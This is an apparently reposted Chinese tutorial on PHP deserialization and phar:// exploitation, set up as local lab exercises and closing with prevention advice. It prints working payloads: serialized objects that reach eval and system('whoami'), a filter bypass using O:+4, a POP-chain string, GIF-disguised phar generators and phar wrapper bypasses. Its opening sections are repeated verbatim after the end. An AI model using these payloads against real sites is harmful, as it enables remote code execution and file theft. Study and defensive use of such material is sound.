文章参考:w肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
前言
本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。
序列化介绍
序列化是指将变量转换为一种可保存或传输的字符串形式的过程;
而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。
这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。
例子
将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)
class Person
{
public $name; //public 修饰的这个成员在任何地方都可以使用
private $age; //private 修饰的成员只能被 其所在类 的其他成员访问
protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问
function sayName()
{
echo $this->name;
}
function sayAge()
{
echo $this->age;
}
function saySex()
{
echo $this->sex;
}
function __construct($name, $age,$sex)
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;//protected修饰的sex
}
}
$person=new Person('张三',20,'boy');
$person->sayName();//张三
$person->sayAge();//20
$person->saySex();//boy
echo '</br>';
// 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串
echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
echo "</br>";
// 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试
echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D
get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)
<?php
$html =unserialize($_GET['html']);
echo $html;
image-20240726173131108
在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析
O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 : 20是age的属性值 , i是代表 integer类型
s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号
s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值
private和 protected详解
//protected举例
class Animal
{
protected $name;
//构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。
//构造函数可以接收参数,这些参数可以用来设置对象的初始状态。
public function __construct($name)
{
$this->name = $name;
}
protected function getName()
{
echo $this->name ." 小羽网安";
}
}
///extends继承
class Dog extends Animal
{
public function __construct($name)
{
//调用父类的构造函数
parent::__construct($name);
}
// public function introduce()
// {
// //调用父类的eat方法
// parent::getName();
// echo $this->name ." Dog类别的输出";
// }
public function getDog()
{
$this->getName();//调用继承类的getName方法
echo '<br/>继承之后,继续调用的函数';
}
}
$myDog=new Dog("<br/>hellow");
$myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数
$myName=new Animal("游不动的小鱼丶");
//$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
?>
PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名
和%00*%00属性名
。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。
image-20240728172222477
案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�
这个符号就是%00
image-20240728172842010
PHP常见的魔术方法
__construct
用于在创建对象时自动调用,主要用于初始化对象。
<?php
//声明一个类为Person
class Person {
public $name;
public $age;
// 构造函数
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
// 一个普通的方法,用于显示信息
public function displayInfo() {
echo "Name: " . $this->name . ", Age: " . $this->age . "<br>";
}
}
// 创建Person对象
$person1 = new Person("John", 30);
$person2 = new Person("Jane", 25);
// 调用方法显示信息
$person1->displayInfo(); // 打印:Name: John, Age: 30
$person2->displayInfo(); // 打印:Name: Jane, Age: 25
?>
__destruct
它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct()
方法常用于执行一些清理操作,比如关闭文件、释放资源等。
<?php
class Person {
public $name;
// 构造函数
public function __construct($name) {
$this->name = $name;
echo "构造函数被调用,对象 {$this->name} 被创建。<br>";
}
// 析构函数
public function __destruct() {
echo "析构函数被调用,对象 {$this->name} 被销毁。<br>";
}
}
// 创建Person对象
$person = new Person("John");
// 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法
?>
__toString
它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。
<?php
class Person {
public $name;
public $age;
// 构造函数
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
// __toString() 方法
public function __toString() {
return "Person Object (Name: {$this->name}, Age: {$this->age})";
}
}
// 创建Person对象
$person = new Person("John", 30);
// 当对象被当作字符串处理时,__toString() 方法会被自动调用
echo $person; // 打印:Person Object (Name: John, Age: 30)
?>
__invoke
允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()
),__invoke()
方法会被自动调用。
<?php
class Greeter {
public $name;
// 构造函数
public function __construct($name) {
$this->name = $name;
}
// __invoke() 方法
public function __invoke() {
echo "Hello, {$this->name}!<br>";
}
}
// 创建Greeter对象
$greeter = new Greeter("World");
// 当对象被当作函数调用时,__invoke() 方法会被自动调用
$greeter(); // 打印:Hello, World!
?>
__call
它在尝试调用一个对象中不可访问的方法时被调用。
class MyClass {
private function myPrivateMethod($param1, $param2) {
echo "调用了一个私有方法:$param1, $param2\n";
}
public function __call($name, $arguments) {
if ($name === 'myPrivateMethod') {
return $this->myPrivateMethod($arguments[0], $arguments[1]);
} else {
echo "尝试调用的方法 '$name' 不存在。\n";
}
}
}
$obj = new MyClass();
$obj->myPrivateMethod('Hello', 'World'); // 调用私有方法
$obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法
__sleep
它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)
class MyClass {
public $prop1 = 'value1';
public $prop2 = 'value2';
private $prop3 = 'value3';
public function __sleep() {
// 返回不需要被序列化的属性名称数组
return array('prop2');
}
}
$obj = new MyClass();
$serialized = serialize($obj);
echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2
一.初步认识
写入反序列化文件index.php,通过传参让页面出现phpinfo页面
class one
{
var $b="phpinfo();";
function action()
{
eval($this->b);//eval:用于执行一段php代码字符串。
}
}
$a=unserialize($_GET['obj']);//将获取到的参数进行反序列化
$a->action();//执行这个方法
分析payload
O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}
image-20240728203541947
新建一个序列化test.php文件用于存放预构造的代码
<?php
class one
{
var $b='eval($_GET[2]);';
function action()
{
eval($this->b);
}
}
$a=new one();
$a->action();
echo serialize($a);//实例化一个对象,将其序列化的内容打印出来
得到其序列化的结果,在我们的页面最下面
image-20240728205317031
我们将他反序列化-->index.php进行传参
image-20240728205358614
很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行
image-20240728210018019
emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉
image-20240728210032604
嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的
image-20240728210055297
注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的
image-20240728210618064
当然也可以使用这种payload
http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');
image-20240728213158471
在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的
二.简单利用
简单利用反序列化index.php代码参考:
<?php
class one
{
var $b = 'echo 123;';
function action()
{
eval($this->b);
}
}
class Student
{
var $a;
function __construct()
{
$this->a = new one();
}
function __destruct()
{
$this->a->action();
}
}
unserialize($_GET[1]);
新建一个test.php用于获取序列化结果,获取我们的参数
<?php
class one
{
var $b = 'echo 123;';
function action()
{
eval($this->b);
}
}
class Student
{
var $a;
//构造函数,对象被实例化即new的时候调用
function __construct()
{
$this->a = new one();
}
//折构函数:被销毁时候调用
function __destruct()
{
$this->a->action();
}
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}
这时候再回到我们index.php
image-20240729094454902
可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷
<?php
class one
{
var $b = 'system("whoami");';
function action()
{
eval($this->b);
}
}
class Student
{
var $a;
//构造函数,对象被实例化即new的时候调用
function __construct()
{
$this->a = new one();
}
//折构函数:被销毁时候调用
function __destruct()
{
$this->a->action();
}
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}
复制这个结果,使用具有反序列化漏洞的index.php进行传参
image-20240729094904495
三、相关绕过
任务:访问当前目录的1.txt文件
构造环境
创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。
image-20240729100332041
习题代码
<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
这段PHP代码包含两部分:上部分定义了一个baby
类,包含一个file
属性和一个__toString
魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data
参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。
既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化
image-20240729102904137
同上面一样构造序列化test.php
<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
//构造你要读取的文件
public $file="1.txt";
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
echo serialize(new baby());
image-20240729103212871
.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验
image-20240729103422559
可以通过+4等价代替 4 从而绕过检测(+
url编码为%2b
)
payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}
image-20240729122741458
四、开始上手
任务:读取 flag.游不动的鱼宝丶
class A
{
public $mod1;
public $mod2;
//对象销毁之后调用
public function __destruct()
{
$this->mod1->test1();
}
}
class B
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class C
{
public $mod1;
public $mod2;
//__call尝试调用一个对象中不可访问的方法时被调用。
public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1();
}
}
class D
{
public $mod1;
public $mod2;
//__invoke允许一个对象像函数那样被调用
public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1;
}
}
class E
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:" . "游不动的鱼宝丶";
}
}
$a = $_GET['obj'];
unserialize($a);
我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法
image-20240729141440997
这里的字符串拼接,调用了**__toString**魔术方法
image-20240729141613497
C类中的成员以函数的形式调用了自己的成员
image-20240729142002670
B类中的函数调用了C类中的$test2成员
image-20240729142122451
最后销毁
image-20240729142306025
代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法
<?php
class A
{
public $mod1;
public $mod2;
//通过 __construct()魔术方法,创建对象的时候自动调用
public function __construct()
{
$this->mod1 = new B();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class B
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new C();
}
public function test1()
{
$this->mod1->test2();
}
}
class C
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new D();
}
public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1();
}
}
class D
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new E();
}
public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1;
}
}
class E
{
public $str1;
public $str2;
public function __construct()
{
$this->str1 = new GetFlag();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:" . "游不动的鱼宝丶";
}
}
$c = new A;
echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
序列化输出结果
image-20240729143728469
得到payload
O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
使用具有该反序列化漏洞的index.php
image-20240729144030410
总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。
Phar文件和Phar协议
前言
❝在PHP应用中,随着代码安全性的提升,直接利用
unserialize()
函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()
调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://
伪协议,实现不依赖unserialize()
的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。
phar文件详解
❝Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。
phar文件分为四层
-
Stub(存根):Phar文件的文件头,必须以
<?php xxx __HALT_COMPILER(); ?>
结尾,其中xxx
可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>
。 -
Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。
-
Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。
-
Signature(签名)(可选):验证Phar文件的完整性和真实性。
生成phar文件
1.准备环境
1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)
php配置
image-20240729160528265
具体index.php代码,phar文件生成
<?php
class AnyClass{
var $output = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问index.php生成phar文件
image-20240729174413855
查看目录
image-20240729174440869
这里就有了序列化之后的结果
image-20240729174654715
❝Tips :
phar.phar
文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:
phar
文件必须能上传到服务器;- 存在可用的魔术方法作为攻击的“跳板”;
- 文件操作函数的参数可控,且特殊字符如
./
、../
、phar
等未被过滤。
php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :
文件操作函数
image-20240729193959585
绕过技巧
1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查
即使将文件后缀改为gif也不影响phar的文件最终执行
image-20240729221202538
执行index.php
image-20240729221130203
一.初步了解
任务:目标1.php界面任务执行phpinfo()
1、index.php代码(具有phar协议反序列化漏洞的代码)
<?php
class Files
{
var $b = 'echo ok;';
function __destruct()
{
eval($this->b);
}
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');
2、test.php攻击代码
<?php
class Files{
var $b = 'phpinfo();';
function __destruct()
{
eval($this -> b);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new Files();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
image-20240729192637278
这里我们执行我们的攻击代码,生成phar.phar文件
image-20240729192802963
可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)
image-20240729192839186
生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功
image-20240729192946420
看不出效果?那么这样呢
image-20240729193311833
访问test.php,为空白界面
image-20240729193131831
查看文件
image-20240729193342021
对payload的obj参数进行传参
image-20240729193401008
执行系统命令
image-20240729193457866
二、进一步了解
通过phar协议读取Destruct called
目标文件
class TestObject
{
public function __destruct()
{
echo 'Destruct called';
}
}
$filename = $_GET['cmd'];
file_get_contents($filename);
image-20240729222723132
分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码
1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中
phar.phar文件生成
image-20240729233055730
成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容
image-20240729233142057
扩展:练习
具体代码
class Test
{
public $num = 2;
public function __destruct()
{
if ($this->num === 1) {
echo 'flag{123}';
}
}
}
echo file_get_contents($_GET['data']);
image-20240729233627801
(关键在于构建恶意的代码,关注点在num=1)
image-20240729233658296
再深入
任务:通过phar协议执行phpinfo
详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.
环境准备
1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件
2.www/目录(网站根目录)下新建upload_file文件夹
3.各个文件内容及解释
<?php
if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
} else {
echo "Invalid file,you can only upload gif";
}
upload_file.php:内容做了一个上传文件后缀的限制
upload_file.php
image-20240729234247144
index.php 提供一个上传界面
<body>
<form action="/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
image-20240730001201869
page.php 目标可控点
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);//用于检查文件或目录是否存在
page.php
image-20240729234411782
分析
1.目标存在可控点以及文件操作函数
page.php分析
image-20240729234740648
受影响的文件操作函数表
image-20240729234950662
2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。
image-20240729235300227
所以这题我们就可以使用phar协议进行漏洞复现
开始解题
1、构造上传文件phar,test.php
<?php
class AnyClass{
var $output = 'phpinfo();';
function __destruct()
{
eval($this -> output);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
image-20240729235720606
检查我们的payload
image-20240730001523626
改文件名
image-20240729235814518
上传之前,新建一个upload_file文件夹
image-20240730001326080
因为这里测试的文件上传代码保存在这个文件夹中
image-20240730001421961
开始上传
image-20240729235930816
上传成功
image-20240730001244615
执行我们的payload漂亮!
image-20240730001659348
反序列化漏洞预防
使用安全的序列化/反序列化库
- 选择经过安全审计的、维护良好的序列化库。
- 避免使用已知存在安全漏洞的库。
限制反序列化的类型
- 只允许反序列化预定义、可信的类。
- 使用类型安全的序列化机制,如Java中的
ObjectOutputStream
和ObjectInputStream
时,可以使用enableSubstitution
方法来限制反序列化的类。
数据完整性验证
- 在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。
- 确保序列化数据在传输过程中未被篡改。
定期审计和测试
- 定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。
- 使用自动化工具和手动测试方法来检测和利用反序列化漏洞。
原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂
文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
PHP反序列化入门手把手详解
前言
本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。
序列化介绍
序列化是指将变量转换为一种可保存或传输的字符串形式的过程;
而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。
这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。
例子
将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)
class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo '</br>'; // 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo "</br>"; // 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D
get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)
<?php $html =unserialize($_GET['html']); echo $html;
在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析
O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值
private和 protected详解
//protected举例 class Animal { protected $name; //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。 //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo '<br/>继承之后,继续调用的函数'; } } $myDog=new Dog("<br/>hellow"); $myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context //$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context ?>
PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名
和%00*%00属性名
。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。
案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�
这个符号就是%00
PHP常见的魔术方法
__construct
用于在创建对象时自动调用,主要用于初始化对象。
<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法,用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . "<br>"; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印:Name: John, Age: 30 $person2->displayInfo(); // 打印:Name: Jane, Age: 25 ?>
__destruct
它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct()
方法常用于执行一些清理操作,比如关闭文件、释放资源等。
<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用,对象 {$this->name} 被创建。<br>"; } // 析构函数 public function __destruct() { echo "析构函数被调用,对象 {$this->name} 被销毁。<br>"; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法 ?>
__toString
它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。
<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时,__toString() 方法会被自动调用 echo $person; // 打印:Person Object (Name: John, Age: 30) ?>
__invoke
允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()
),__invoke()
方法会被自动调用。
<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}!<br>"; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时,__invoke() 方法会被自动调用 $greeter(); // 打印:Hello, World! ?>
__call
它在尝试调用一个对象中不可访问的方法时被调用。
class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法:$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法
__sleep
它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)
class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2
一.初步认识
写入反序列化文件index.php,通过传参让页面出现phpinfo页面
